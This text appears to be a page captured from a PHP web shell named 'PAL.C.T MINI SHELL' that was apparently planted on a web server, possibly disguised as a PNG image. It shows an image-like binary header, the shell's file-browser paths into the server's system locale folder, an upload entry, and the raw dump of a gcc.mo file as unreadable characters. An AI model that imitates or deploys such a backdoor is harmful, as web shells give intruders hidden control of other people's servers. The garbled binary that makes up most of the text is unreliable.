‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/es/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/es/LC_MESSAGES/gcc.mo

Þ•ä<ß1%\¾ S!S'S@)S'jS5’S=ÈST-"T1PT‚T —TÛ¸T+”U0ÀUJñU<VIVUViV€V•V ³V"ÔV+÷V#W+WEAWP‡W7ØW8X8IX4‚X5·XUíX<CYv€YH÷Y@@Z:ZJ¼ZM[9U[A[JÑ[N\Kk\Q·\:	]7D]=|]Iº]F^IK^A•^4×^}_JŠ_CÕ_D`?^`Ež`=ä`{"a?ža8Þa/bPGbC˜bEÜbD"cBgcPªcMûcIdFÙdN eQoeBÁePf<UfO’fLâfA/gGqgH¹g@hBCh5†h¼iEÙi
j8*j.cj.’jÁj)Ój0ýj	.k+8kAdk¦k!»k Ýkþkl3lFl$fl$‹l*°l*Ûlm!m <m]mxm„m#•m"¹mÜm!óm,n#Bnfn„n—n$ªnÏnïn o,oJ3o8~oT·o1p0>p0op0 pÑpêpþp-q@qQ]qK¯qLûqSHrWœrIôr5>sItsY¾s>tEWt9t;×tUuciu.Íu=üu:v#Jv#nv3’v3Æv*úv4%w.Zw2‰w4¼w,ñw6xQUx3§x3Ûx2y=By€yC”y7ØyIz<Zz=—zIÕzW{Ew{5½{"ó{9|.P|"|K¢|2î|&!},H}Pu}IÆ}D~?U~=•~NÓ~@"(c*Œ:·!ò$€9€#V€z€!–€(¸€Fá€M(,vS£p÷!h‚5Š‚fÀ‚E'ƒ!mƒ!ƒ'±ƒ(Ùƒ*„-„"D„g„U†„-Ü„*
…25…3h…+œ…:È…†1 †4R†$‡†/¬†1܆E‡2T‡‡‡¦‡Ň#å‡"	ˆ,ˆ5Gˆ9}ˆ*·ˆ*âˆ?
‰(M‰Ov‰nƉS5Š/‰Š-¹Š"çŠ8
‹3C‹>w‹/¶‹(拌N/Œ1~ŒJ°Œ'ûŒ"#&Fm1‹½%Ö1ü<.Ž,kŽ&˜Ž(¿Ž5èŽe%„?ª4ê/,O3|8°é%‘6)‘*`‘!‹‘W­‘J’:P’3‹’D¿’5“):“Dd“"©“)Ì“!ö“+”=D”3‚”!¶”9Ø”-•%@•/f•#–•-º•è•"–'–
G–.U–A„–?Æ–P—BW—!š—¼—"Ì—"ï—˜<-˜ j˜
‹˜ ™˜Fº˜A™0C™/t™¤™9¾™$ø™"š(@š.iš#˜šD¼š*›,›A›^›{›&™›&À›ç›"ð›œ2œMœ'iœ+‘œ½œ-Õœ)-E`5e1›3ÍVž2Xž5‹ž>Áž@Ÿ3AŸ(uŸ'žŸ'ÆŸ)îŸ5 +N +z -¦ .Ô *¡/.¡>^¡&¡&Ä¡.ë¡)¢6D¢@{¢>¼¢;û¢7£,G£t££££-¸£&æ£2
¤(@¤i¤>ƒ¤E¤!¥*¥(J¥#s¥6—¥6Î¥)¦/¦JH¦N“¦3â¦#§%:§*`§1‹§½§7ݧ+¨A¨`¨)v¨ ¨-µ¨*ã¨)©;8©3t©0¨©/Ù©h	ªXrª7˪3«+7«c«ƒ«;¢«-Þ«/¬#<¬ `¬*¬'¬¬Ô¬ó¬'­3­&J­q­.‘­<À­?ý­,=®Bj®­®XÈ®!¯5:¯p¯ޝ<¬¯8é¯8"°([°„°"ž°"Á°ä°#û°O±0o±; ±ܱù±@²S²-j²˜²8²²Eë²=1³o³)‡³
±³¿³'ȳ:ð³7+´Cc´2§´1Ú´JµWµ+fµ'’µ+ºµ*æµ>¶1P¶ ‚¶,£¶'жAø¶-:·5h·;ž· Ú·(û·-$¸R¸Dr¸7·¸#ï¸"¹6¹,S¹€¹™¹´¹;˹6º>º!]º0º'°º8غ1»2C»$v»8›»6Ô»0¼#<¼'`¼.ˆ¼4·¼/ì¼1½AN½-½1¾½=ð½@.¾o¾ˆ¾/¡¾Ѿ,꾿33¿g¿J‡¿+Ò¿#þ¿+"ÀNÀ@lÀ­À"ÁÀäÀ:ûÀ96Á9pÁ"ªÁ3ÍÁÂÂK5ÂHÂGÊÂÃ(Ã9ÃLÃ#jÃ$ŽÃA³Ã#õÃwÄ‘Ä «ÄÌÄ-ßÄ*
Å8Å'RÅ$zÅŸÅ&´ÅÛÅFóÅ,:ÆgÆ8‚ÆF»Æ+ÇS.ÇG‚Ç%ÊÇðÇÈ7È5WÈÈ-¬È>ÚÈ*ÉDÉ$`É*…ɰÉWÐÉ-(Ê*VÊ9Ê»ÊJÓÊ:Ë!YË {Ë œË ½Ë-ÞËÌ'Ì?Ì:[Ì–Ì$µÌ%ÚÌÍ#Í'BÍ6jÍ%¡ÍÇÍçÍÎ%!Î3GÎ{ΑΰÎ]ÂÎ Ï06Ï/gÏ#—Ï»Ï,ÖÏAÐ<EÐ*‚Ð.­Ð!ÜÐ*þÐ')ÑHQÑ5šÑ.ÐÑÿÑ)Ò)@Ò"jÒ#Ò±ÒÂÒ(ÒÒ(ûÒ$ÓCÓ$^Ó0ƒÓ5´Ó"êÓ*
Ô;8Ô6tÔ)«Ô0ÕÔÕ4ÕQÕ+oÕ(›ÕÄÕ/ãÕ0Ö6DÖ {Ö?œÖ.ÜÖ*×&6×*]׈×@§×+è×FØ1[Ø_ØYíØIGÙM‘ÙKßÙ]+ÚZ‰ÚkäÚ[PÛN¬Û0ûÛ/,Ü#\Ü&€Ü§Ü¾Ü>ÕÜ Ý,5ÝbÝzÝ+—Ý6ÃÝCúÝ:>Þ;yÞµÞ+ÑÞýÞß<ß"\ßߘ߸ß)Ðß)úß$à?à Và#wà›à±à$Ìà2ñà$á?áVá1ná5 á'Öá0þá-/âI]â,§â.Ôâã%#ãIã(_ã"ˆã,«ã'Øã1ä'2ä'Zä3‚ä'¶ä;Þä8å-Så+å ­å ÎåïåBæQRæL¤æ'ñæç],ç"Šç'­çÕç%çç'
è5èQè-pèžè,·èäèé'é*Fé.qé7 é'Øéê!ê>êAêEêMêbêjêê˜êµê8Èê0ë2ë?ëHëYë4bë0—ë8Èë0ì2ìKì#eìO‰ì.Ùì6í9?í6yí:°íDëí0î0Nî6î/¶îæî2ýî*0ï.[ï)Šï&´ï'Ûï&ð&*ð#Qð'uð(ð Æð$çð ñ"-ñ,Pñ2}ñ°ñÐñ*ïñ,ò.Gò4vò6«ò1âò%ó!:ó!\ó#~ó¢ó1ºóìó)ýó'ôGô,aô(Žô)·ô.áôõ#õ&@õgõ…õ£õÀõÛõ1÷õ6)ö`ö:{ö:¶ö9ñö3+÷7_÷>—÷'Ö÷*þ÷2)ø\ø$xø0øÎøîø#
ù.ù+Nù:zù)µùJßùC*únú,†ú$³ú,Øú0û06û.gû/–û&Æû<íû*ü,1ü^ü|üšü6²ü)éü ý#4ý+Xý„ý+ý*Éý<ôý'1þ*Yþ+„þ(°þÙþ'ùþ/!ÿ%Qÿ2wÿ)ªÿ&Ôÿ%ûÿ!>$R+w£½/Ý/
.=)l)– À'á&	30/d”5¯5å.J#^=‚@À
0-@(n*—8Â5û+1=]>›Ú%÷/:M#ˆ!¬ Î'ï 08i„
 #®Ò"ä (?Unˆ—-µ"ã	! 	)B	8l	0¥	0Ö	*
)2
'\
8„
%½
&ã
 
'+[S¯±ºÃ$ÌñC
GQG™2á:
0O
9€
@º
Bû
=>=|7ºCò86=o@­<îV+6‚8¹6ò:)>d?£@ãA$\fKÃ88H<E¾CLH:•EÐK1b0”Å”â'wHŸMèB6>y¸·Ðˆ¢$¿'ä>TK; =Ü?;Z?–>ÖPAfF¨ï!31;e,¡ÎN6ßQ6hŸY¾qŠR¨$û  ) 2 0; l Œ .• 2Ä ÷ ;!!<!^!z!‡!<!Í!Ú!ã!5ì!""H+"Ct"E¸"þ"###G,#Ot#NÄ#$-$5E$,{$†¨$7/%rg%Ú%*ø%<#&5`&.–&4Å&(ú&+#'.O'+~'-ª'Ø'3ï'#(#7([(.u(,¤(,Ñ(*þ(%))-O)_})+Ý)$	*+.*Z*)t*.ž*$Í*.ò**!+:L+/‡+·+;Ó+,1-,7_,$—,"¼,!ß,:-Y<--–-Ä-VÑ-6(.3_.6“.;Ê.1/L8/=…/JÃ/:0>I0?ˆ0bÈ0Y+15…18»10ô1B%2,h2-•2/Ã2Tó28H323'´30Ü34
4JB4<4;Ê4A5<H5…5/¡56Ñ5676BS6+–62Â6(õ6(7.G7v7/”7MÄ768kI84µ86ê8H!99j9(¤9!Í9,ï9*:'G:'o:!—:%¹:ß:)õ:;"8;9[;•;!°;.Ò;5<&7<'^<4†<»<8Ú<(=%<=,b=3=-Ã=ñ=)
>,7>:d>.Ÿ>Î>8ê>0#?6T?)‹?2µ?8è?-!@O@,c@:@>Ë@0
A
;A3FA
zA(…A®AÈAáA
íAøA%B'-B6UBZŒB6çBNC4mC¢C0ÀC5ñC$'D+LD*xDA£D:åDB E'cE7‹EHÃE%F(2F9[FH•FJÞF)Gn«GXHQsH>ÅH2I07I7hI- I.ÎI9ýI/7J1gJ™JD²J÷J(KF7KG~KÆK)ÞKL L<LWLrL#ƒL§L*ÆL"ñL.M$CMhM…M'žM$ÆMAëMG-N1uN7§N,ßNCO]POA®OHðO29P1lP)žP3ÈP"üP*Q0JQU{QmÑQF?R?†REÆR*S&7S%^S&„S?«S"ëS T=/T-mT%›TDÁTKURU:oULªU@÷U<8V,uV0¢V$ÓV3øV,W#GWEkW.±W)àWU
X4`X@•X8ÖXEY.UY"„Y0§YWØY40ZJeZL°Z9ýZ<7[Jt[8¿[@ø[69\7p\*¨\!Ó\(õ\*])I]Ps]6Ä]/û]/+^/[^8‹^6Ä^9û^95_6o_7¦_.Þ_9
`-G`)u`(Ÿ`:È`<a/@a>pa+¯a(Ûa'b9,b;fb¢be·bmc‹c'ŸcÇcjácrLd¿dkÚdsFe-ºeNèeI7ff>–fGÕfg(8g3ag •g'¶g;Þg3h9NhBˆhBËh?iNiPli5½iDói*8j8cj|œj›k%µkeÛk%AlGgl8¯l;èlR$m+wm
£m%®mÔm%ïm0n5Fn'|n5¤n,Ún$o$,o#Qo)uo0Ÿo1Ðo*p%-p#Sp"wp.špÉp"äpq-'q0Uqs†q8úqZ3r)Žr(¸r"ár'sV,sCƒsCÇsOt2[tNŽt*Ýt3u=<u1zu|¬uq)vl›v
w&w0=wHnw2·wJêw05x=fx;¤xAàx3"y-Vy3„y)¸y-ây5zNFz=•z+Óz3ÿzA3{Hu{:¾{$ù{/| N|o|:Ž|GÉ|@}/R}C‚}1Æ}@ø};9~u~”~©~Æ~Dá~&<@5}3³ç)ø"€+>€#j€Ž€—€$¤€!É€*ë€.0E8v¯GÏ@‚>X‚?—‚CׂUƒYqƒp˃U<„<’„<Ï„5…=B…€…Z …@û…^<†b›†Cþ†FB‡=‰‡?LJ^ˆ7fˆ<žˆ=Ûˆ?‰+Y‰2…‰¸‰Ô‰å‰ö‰>Š6EŠ.|Š]«Š9	‹KC‹/‹=¿‹5ý‹B3Œ(vŒ7ŸŒ9׌/4A=v3´<è %ŽcFŽ^ªŽ6	2@!s+•?Á:?<|8™Ò.ï4‘>S‘>’‘Ñ‘(ê‘)’(=’f’!ƒ’+¥’/Ñ’3“5“1J“1|“"®“)Ñ“3û“A/”.q”/ ”'Д6ø”6/•:f•7¡•0Ù•
–4(–1]–E–$Õ–/ú–)*—(T—=}—_»—5˜*Q˜>|˜H»˜I™PN™RŸ™gò™pZšWËšX#›T|›HÑ›Hœ"cœ†œ1¤œ)Öœ<!=Y_9¹ óž3žRžržž¬žÈžèžŸŸ/ŸDŸ!ZŸ|Ÿ‘Ÿ§Ÿ½ŸÜŸ üŸ(  F  g ,ˆ 8µ Qî +@¡5l¡3¢¡xÖ¡tO¢DÄ¢n	£Gx£SÀ£<¤/Q¤B¤jĤf/¥.–¥:Å¥?¦K@¦Œ¦1¡¦)Ó¦ ý¦"§5A§6w§$®§8Ó§=¨HJ¨"“¨6¶¨(í¨(©&?©+f©)’©&¼©&ã©I
ª"Tª4wª:¬ª2çª3«DN«“«&®«,Õ«¬:!¬C\¬H ¬>é¬>(­bg­ Ê­"ë­®I,®0v®;§®$ã®(¯$1¯OV¯%¦¯;̯°(°H°-`°ް"©°̰0ë°A±7^±3–±3ʱ"þ±#!²=E²:ƒ²@¾²ÿ²*³*G³Tr³Odz>´:V´:‘´Ì´â´-ñ´3µJSµržµm¶[¶"Û¶)þ¶'(·6P·.‡·;¶·&ò·¸!9¸([¸0„¸.µ¸4ä¸&¹@¹#\¹:€¹S»¹Pº.`º ºS°ºL»KQ»d»?¼WB¼>š¼;Ù¼_½Yu½oϽZ?¾Xš¾]ó¾KQ¿E¿Fã¿'*À?RÀ>’À:ÑÀ+Á88ÁMqÁL¿ÁQÂU^Âm´ÂM"Ã:pëûÃLÔÃ!ÄAÄ7\Ä>”ÄÓÄéÄ)üÄ’&Å ¹Å!ÚÅ6üÅ3Æ4SÆ‚ˆÆ1Ç#=ÇaÇ€Ç/™ÇÉÇ*àLjȔÈ!¦È8ÈÈÉÉ+3É1_É8‘É9ÊÉ)Ê .Ê OÊ5pÊ/¦Ê3ÖÊ
Ë?*ËjˉË2£Ë#ÖË>úË,9Ì+fÌ8’Ì*ËÌ;öÌ62ÍdiÍ9ÎÍBÎ,KÎGxÎ,ÀÎ,íÎWÏ-rÏ Ï#¼ÏàÏýÏ Ð">ÐaÐEsÐ3¹Ð3íÐ4!ÑVÑ"mÑÑ(§Ñ-ÐÑ+þÑ%*Ò PÒ&qÒ2˜Ò6ËÒÓ3Ó+PÓ4|Ó!±ÓAÓÓ$Ô:ÔEZÔ{ ÔÕ"7Õ-ZÕ$ˆÕ(­ÕÖÕ+ßÕ/Ö,;ÖBhÖ3«ÖyßÖ:Y×B”×>××>Ø8UØ,ŽØ!»Ø)ÝØÙ&$Ù&KÙ rÙ(“Ù&¼Ù+ãÙ'Ú!7ÚYÚ!yÚ-›Ú(ÉÚ"òÚ"Û)8Û,bÛ Û+°Û$ÜÛ$Ü)&Ü3PÜ!„Ü*¦ÜÑÜ%íÜÝ-Ý7IÝQÝ:ÓÝ=Þ5LÞ-‚Þ"°ÞPÓÞR$ß%wß7ß6Õß8à<Eà7‚à?ºà5úà90á3já4žá9Óá8
âAFâ;ˆâ7Äâ%üâ)"ã,Lã5yã"¯ã.Òã"ä$ä.9ä$häaä+ïäCå._å'Žå/¶å/æå5æLæRhæ)»æ(åæ0ç,?ç.lç(›ç"Äç(çç'è38èclèAÐè0é)Cé)mé—é/¶é5æé6ê/Sê5ƒê¹êËê,êê)ë/Aë)që1›ë#Íë'ñëì#8ì&\ì'ƒì7«ì4ãì.í)Gíqí Œí6­í$äí$	î.î!Iîkî)‰î9³îMíî);ï'eïï#¦ïÊï]äïuBðL¸ðdñ:jñ1¥ñ×ñ8ðñ )ò9Jò„ò¢ò$¶ò.Ûò
ó1)ó6[ó’ó¬ó?Æó&ôD-ô'rôšô,¹ô(æô$õ&4õ[õwõ‘õ!¨õ#Êõ%îõ'ö"<ö=_ö.öÌöéö1÷74÷0l÷÷¹÷(Î÷"÷÷%ø@ø0]øŽø2£øÖøöøH
ùEVù-œù Êù'ëù/ú)Cú múŽúX¤úýú$û'BûEjû:°ûëû-ü.ü5GüR}ü+ÐüAüü=>ý|ý •ý)¶ý.àýþ.þ5þQþIjþ ´þGÕþÿ0ÿ&Cÿjÿ}ÿ,ÿ½ÿ-Ñÿ$ÿÿ,$Q3lC 1ä#,:4g0œ'Íõ%+;5gº%Ùÿ <(X1,³ à ""%E0k)œ0Æ÷:K(g0ÁÒ*ê$/
Tbw/’$Âç'÷4?-t)¢Ì3é":-]/‹&»,â2	B	Gb	5ª	5à	1
IH
’
<°
>í
U,I‚Ìç.+3)_%‰D¯Yô>N
#
±
:Ð
,)8!b1„7¶(îO:g'¢$ÊOï*?.j)™6Ã5úM0/~F®.õB$4g4œ?Ñ06B6y-°2Þ!635j @º:û96;p¬Æ4Ó)O2=‚=À@þ)?Gi6±*è>3R2†>¹$ø0CN8’2Ë>þ+=>i0¨$Ù)þ#(2L:?º:ú55ek&Ñ!ø>;YB•5Ø4*5_G•DÝE"3h6œ4Ó3 >< 7{ '³ Û l÷ #d!>ˆ!$Ç!ì!(
"43"/h"G˜"2à"8#'L#'t#'œ#?Ä#=$jB$L­$8ú$33%Sg%I»%>&#D&#h&&Œ&&³&2Ú&2
'2@'ks'"ß'C(TF(O›(Gë(33)5g)I)(ç)B*,S*H€*.É*(ø*H!+ j+>‹+aÊ+`,,-,$»,Sà,54-/j-.š-8É-,.~/.)®."Ø.Zû.\V/
³/FÁ/G04P0A…0<Ç0!1è&1%252R2(g22%©2Ï2ì23%3/B3r3 Š3%«3Ñ3ç3ù34#474J4_4s45‡4,½4ê4ü45*5=5P5b5u55¢5Á5×5ö56+6A6]6p6ˆ6& 69Ç6D77F7.~7"­7Ð7é78"83?8&s82š8#Í8#ñ89%.9T9)m9—9;µ9/ñ9/!:,Q: ~:Ÿ:¹:Ò:ë:;;7;Q;k;…;7Ÿ;×;7ñ;)<C<]< w<˜<°<Ë<å<==6=3S=:‡=Â=(Þ=>"'>/J>z>!™>!»>Ý>:ý>38? l?#?8±?5ê?9 @<Z@,—@9Ä@Iþ@4HA/}A+­A=ÙA3BKB"hB'‹B)³B-ÝB*C(6C*_C5ŠC,ÀC3íC3!D+UD*D.¬D.ÛD.
E+9E\eEÂE?ßE1F(QF=zF@¸F6ùF90G1jG4œG&ÑGøGJH^HzH)–H,ÀHíH&I/I(II'rI+šI+ÆI+òI(JGJ&aJKˆJKÔJ; K;\KA˜KÚK1øK-*LXLwL7—LWÏL,'MBTMA—M.ÙMQNVZN ±N*ÒN:ýN*8OJcO@®OTïODDPN‰P1ØP
Q;(Q4dQ:™QDÔQLR>fR5¥R+ÛRLSKTS/ S6ÐS9T4AT,vT-£T(ÑTCúT'>U-fU”UD²U'÷U@V.`V0V!ÀV<âVFW6fW.WCÌWCX&TX,{X2¨XDÛX  Y1AYsY9’Y:ÌYPZ&XZ<Z8¼Z-õZ!#[1E[.w[5¦[+Ü[E\.N\>}\M¼\H
]ES]0™]6Ê]I^,K^6x^!¯^Ñ^/ð^2 _$S_Fx_2¿_$ò_+`,C`Np`A¿`;a-=a5kat¡aGb—^b9öbC0c?tc:´c8ïc%(d)Ndxd#˜d#¼d)àd‰
e2”e&ÇeUîe&Df/kf8›f4Ôf!	g++g2Wg-Šg%¸g)Þg`h‹ihPõhiFi3°i.äivjsŠj&þj(%kNk=mk«k1¾k@ðk'1lFYl2 lÓl6ðl'mJFmJ‘mÜmI^n6¨n¾ßnžo®o1Åo,÷o0$p*UpL€p"ÍpBðp.3qbq4‚q,·q/äq=r7Rr1Šr*¼r<çrB$sCgs-«s>Ùsnt0‡t/¸t0èt"u5<u"ruX•uYîu8Hv'v,©vPÖvN'w+vwL¢w7ïw!'x#IxAmxU¯xy)y_@y y.¸y+çy2z-FzStz4Èz'ýz7%{X]{¶{>Í{Y|Bf|)©|7Ó|$}/0}9`}5š}WÐ}((~NQ~A ~5â~A?Z2š'Í:õB0€@s€"´€×€ì€Hÿ€H)h'’4º%ï.‚,D‚q‚;‹‚,Ç‚*ô‚ƒ&:ƒ&aƒ&ˆƒ&¯ƒ'Öƒ%þƒ&$„(K„;t„"°„4Ó„'…=0…)n…(˜…/Á…,ñ…*†+I†u† ‹†&¬†2Ó†‡?‡DY‡Nž‡3í‡E!ˆ,gˆ'”ˆ ¼ˆ'݈#‰1)‰3[‰2‰0‰/ó‰)#Š#MŠ*qŠ,œŠ/ÉŠ@ùŠ":‹,]‹3Š‹?¾‹þ‹&Œ'CŒ'kŒN“Œ5âŒ/H]4v%«&Ñ)ø$"Ž)GŽ#qŽC•Ž7ÙŽ46F2}$°-Õ-P1H‚HË$‘9‘*L‘
w‘(‚‘«‘1Ë‘)ý‘-'’,U’,‚’<¯’5ì’&"“/I“=y“&·“%Þ“7”5<”-r”< ”Ý”<ö”O3•Cƒ•NÇ•–1–O–(o–˜–9³–>í–U,—6‚—4¹—3î—4"˜#W˜5{˜;±˜:í˜=(™7f™ž™¸™IÖ™" šiCšZ­š7›`@›7¡›>Ù›)œ)Bœlœ1…œ·œ Ôœ<õœc2B–PÙ1*ž(\ž(…ž,®ž2Ûž/Ÿ6>Ÿ,uŸ¢Ÿ'ÁŸ8éŸ)" -L 1z 1¬ %Þ O¡%T¡z¡4•¡2Ê¡ý¡ ¢1;¢m¢(¢"¶¢OÙ¢4)£9^£-˜£?Æ£8¤J?¤MФ`ؤf9¥N ¥Jï¥\:¦4—¦-̦3ú¦Q.§€§(˜§=Á§?ÿ§K?¨B‹¨,Ψ2û¨M.©E|©©
Ù©7ç©9ª&Yª6€ª=·ªSõª%I«5o«S¥«+ù«%¬	2¬<¬N¬Kc¬'¯¬4׬s­4€­;µ­.ñ­C ®!d®3†®1º®ì®(¯0¯2O¯2‚¯4µ¯1ê¯>°2[°Hް0×°X±#a±8…±*¾±5é±4²%T²:z²(µ²aÞ²8@³8y³$²³׳è³Fù³&@´3g´*›´9Æ´5µ26µ:iµ/¤µ;Ôµ:¶:K¶$†¶%«¶ Ѷ)ò¶7·!T·3v·	ª·
´··â·÷·(¸54¸j¸*†¸7±¸>é¸)(¹'R¹*z¹"¥¹>ȹBºJº;iº%¥º˺&åºF»$S»7x»°»'Ë»#ó»M¼7e¼9¼7×¼.½A>½C€½?Ľ/¾14¾>f¾L¥¾<ò¾/¿-F¿it¿dÞ¿kCÀ,¯À0ÜÀ-
ÁM;ÁC‰ÁCÍÁ: LÂ!mÂ"‡²Â8:Ã%sÃ$™Ã,¾ÃDëÃ?0Ä/pÄ( Ä)ÉÄ2óÄ5&Å-\ÅKŠÅLÖÅE#ÆAiÆ@«Æ.ìÆ"Ç>ÇKUÇ/¡ÇIÑÇÈ*5È$`È8…ȾÈ$ÓÈ4øÈ-É6FÉM}É(ËÉ0ôÉF%ÊFlÊB³Ê,öÊ1#Ë-U˃ËGË#åË)	Ì%3Ì.YÌ3ˆÌ$¼Ì;áÌ2Í'PÍ(xÍ%¡ÍÇÍ$àÍcÎEiÎ7¯Î=çÎ0%Ï'VÏ5~ÏA´Ï3öÏ.*Ð|YÐÖÐêÐqþÐ pÑ‘Ñ)©ÑÓÑ*UÒ'€Ò5¨Ò6ÞÒÓ51Ó#gÓ0‹Ó;¼ÓFøÓ"?Ô(bÔ/‹ÔZ»Ô-Õ=DÕH‚ÕJËÕ6Ö4MÖ=‚Ö>ÀÖ7ÿÖK7×Sƒ×]××5Ø&OØ7vØ[®Ø
Ù#"ÙFÙaÙ0zÙ#«Ù#ÏÙóÙÚ!'ÚIÚ_bÚÂÚàÚ:þÚ,9Û:fÛ#¡ÛDÅÛF
ÜNQÜ@ Ü8áÜPÝHkÝE´Ý.úÝ")Þ.LÞ0{Þ.¬ÞMÛÞ)ß*Hßsß&Šß'±ß9Ùßà--à[àzà—à4³à3èàá<á%Káqá=Šá.Èá+÷á0#â'Tâ3|â:°âëâ5ÿâ?5ã%uã+›ã5Çã1ýã2/ä/bä=’ä*ÐäIûäMEåA“å1Õåæ%!æ&Gænæ(æ-¶æCäæ!(ç0Jç${ç3 çGÔç=è9Zè+”è+Àè!ìèGé&Vé%}é
£é<±é3îéG"ê<jê.§ê:Öê#ëC5ë?yë@¹ëúë)	ì23ìfì-ì3¯ì'ãì%í71í5ií6Ÿí=ÖíJî@_î` îBïDï$dï;‰ï3Åï/ùï)ðEð:Xð+“ð:¿ð!úð/ñ/Lñ$|ñ'¡ñ2Éñ>üñ>;ò>zòA¹òûòó(ó Fó‚góqêó†\ô(ãô õ-õYCõ1õ;Ïõ)ö5öIö8XöH‘ö'Úö.÷<1÷"n÷L‘÷Þ÷ô÷ ø+/ø[ø5tø<ªø3çø0ù!Lù:nù ©ù*Êù2õù2(ú2[úfŽú=õú3ûSûkû9…û(¿û)èûü,,ü2Yü4Œü0Áü/òü)"ý@Lý$ý@²ý?óý!3þâUþ 8ÿ5Yÿ@ÿ@Ðÿ./@p(ƒ#¬aÐ<20o 5´ê)ù#@%`(†1¯á,0-^(v>Ÿ,ÞZ7f?ž]Þ2</o"Ÿ+Â=î%,2R…4œ3Ñ4P:;‹RÇE>`+ŸUËB!	4d	%™	¿	5Ý	2
!F
<h
/¥
…Õ
‰[+åd#v>šJÙ?$
)d
9Ž
3È
ü
31P(‚,«3Ø*A7!y2›(Î÷:'b@FÂM	MWU¥]ûbYg¼5$Znƒ—¬À3Õ4	H>2‡.ºAé+5J.€¯(Ç'ð/ZH£%µFÛ"2?Br.µä/33$g&Œ³MÒ5 0V,‡7´-ìNOiH¹J5Meƒ1é$@.V"…2¨(Û+&0+W+ƒ%¯"Õø#&<7c*›)Æ)ð$-?%m(“#¼'à4 '= &e  Œ +­ Ù +ø ?$!;d!, !0Í!þ!#"@"U"o""9™"MÓ"M!#@o#1°#3â#W$Hn$…·$<=%9z%b´%}&;•&=Ñ&a'Wq'ƒÉ'GM(;•(mÑ(e?)L¥)Tò).G**v*(¡*8Ê*4+)8+7b++š++Æ+-ò+t ,Е,¶f-K.4i.Nž.<í.@*/6k/4¢/,×/:0/?0Mo0S½0A1RS17¦1,Þ1A21M2H2MÈ2U3Yl3xÆ3C?4Yƒ4BÝ4M 5Xn5>Ç5>6;E646/¶6Iæ6O071€73²7{æ7^b8@Á8N9iQ9H»9H:XM:D¦:Eë:81;[j;ŽÆ;9U<6<Æ<‘T=Mæ=j4>Ÿ>´>Î>0ã>.?3C?@w?L¸?N@pT@}Å@2CA-vAg¤A>B8KB:„B^¿BRC˜qC˜
DL£D.ðDE?EQE<qE_®EF>F>\F6›F:ÒF!
G;/G'kG(“G¼G3ÛG"H(2H<[H˜HBµHøH2IDFI&‹I)²IÜIûI.J-GJ"uJ ˜J,¹J,æJ2K5FK4|K!±KÓK1ðK"LIAL‰‹L$MD:M5M<µM!òM@N;UN)‘N[»NNOfOJ‚O2ÍO4P%5P[P+zP¦P?·P/÷P'Q/EQ+uQ1¡Q-ÓQ0R'2R,ZR‡R§RÆR9ÕR+S2;S.nSS¼SÜS+õS-!T*OT0zT-«T(ÙT,U/UFU$`U…U’U$§U.ÌUûU!V%:V`VlV)ŒV2¶V)éV&W(:W/cW “W$´W#ÙWHýWHFX/X¿X'ÜX&Y5+Y2aY9”YÎYëYZZ*Z;ZJZ#YZ}Z#šZ¾Z'×Z'ÿZ'[3[?[P[#_[ƒ[ [·[Ð[ë[C\)H\r\<{\¸\#×\/û\+] F]g]€] ]!º]HÜ],%^:R^ ^®^È^7ã^0_/L_6|_%³_+Ù_`!`@`7W``ª`0Ä`
õ`a(a1Haza0‘aÂa0Ùa,
b7bTb1lb0žbÏb+ébBcXc/vc<¦c%ãc	d!!d"Cd'fd,Žd-»d9éd:#e.^eGeÕe/ðe& fGfbfsf‘f&­fÔfðf.g/gKg![g }g*žg+Égõg3hGh&Zh.h8°héh.i 5iVi&mi+”i*Àiëi'j*3j^j3|j[°j[kyhkyâk*\l*‡l$²l×l-ïl m2>m*qm0œmÍm2ím" nCn-[n‰n!žn9Ànúno,o/;o8ko ¤o4Åoúop2p&Op'vpžp½pØp>ôp=3q)qq2›q9Îqr8'rX`rQ¹r<sEHs5ŽsBÄs(t)0tZtqt„t™t&¯t6ÖtC
uKQuquKvG[v[£vXÿvWXw8°w~éw4hx_xQýxGOy3—y8Ëy>zRCzx–za{nq{6à{Q||i|,æ|?}S}2m}4 }'Õ}5ý}23~"f~;‰~FÅ~UKb0®%ß:€3@€(t€2€)Ѐ+ú€7&-^0Œ3½(ñ:‚=U‚?“‚0Ó‚/ƒ04ƒWeƒ&½ƒLäƒD1„9v„.°„)ß„(	…/2…<b…=Ÿ…0Ý…†3,†)`†"І8­†Fæ†--‡,[‡7ˆ‡<À‡1ý‡//ˆ;_ˆ6›ˆ6Òˆ'	‰`1‰@’‰1Ó‰&Š.,Š2[Š*ŽŠ,¹Š.æŠP‹*f‹!‘‹)³‹6Ý‹,Œ-AŒoŒ5Œ?ÅŒ;BA8„2½ðGŽ:WŽ+’Ž$¾Ž+ãŽ]FmD´'ùA!Uc:¹'ô*‘/G‘1w‘6©‘-à‘+’2:’Fm’3´’Cè’N,“A{“D½“h”4k”U ”2ö”A)•/k•2›•Ε(í•–N2–:–=¼–2ú–8-—f—6…—'¼—/ä—*˜=?˜I}˜?ǘ,™34™8h™$¡™=Æ™JšfOšU¶š*›7›<@›A}›C¿›SœSWœ*«œ*Öœ/K1}#œ!Àgâ#JžBnž&±ž-Øž!Ÿ (Ÿ IŸ!jŸ2ŒŸ!¿Ÿ)áŸ* +6 %b ˆ 5¨ Þ )ý '¡
G¡U¡
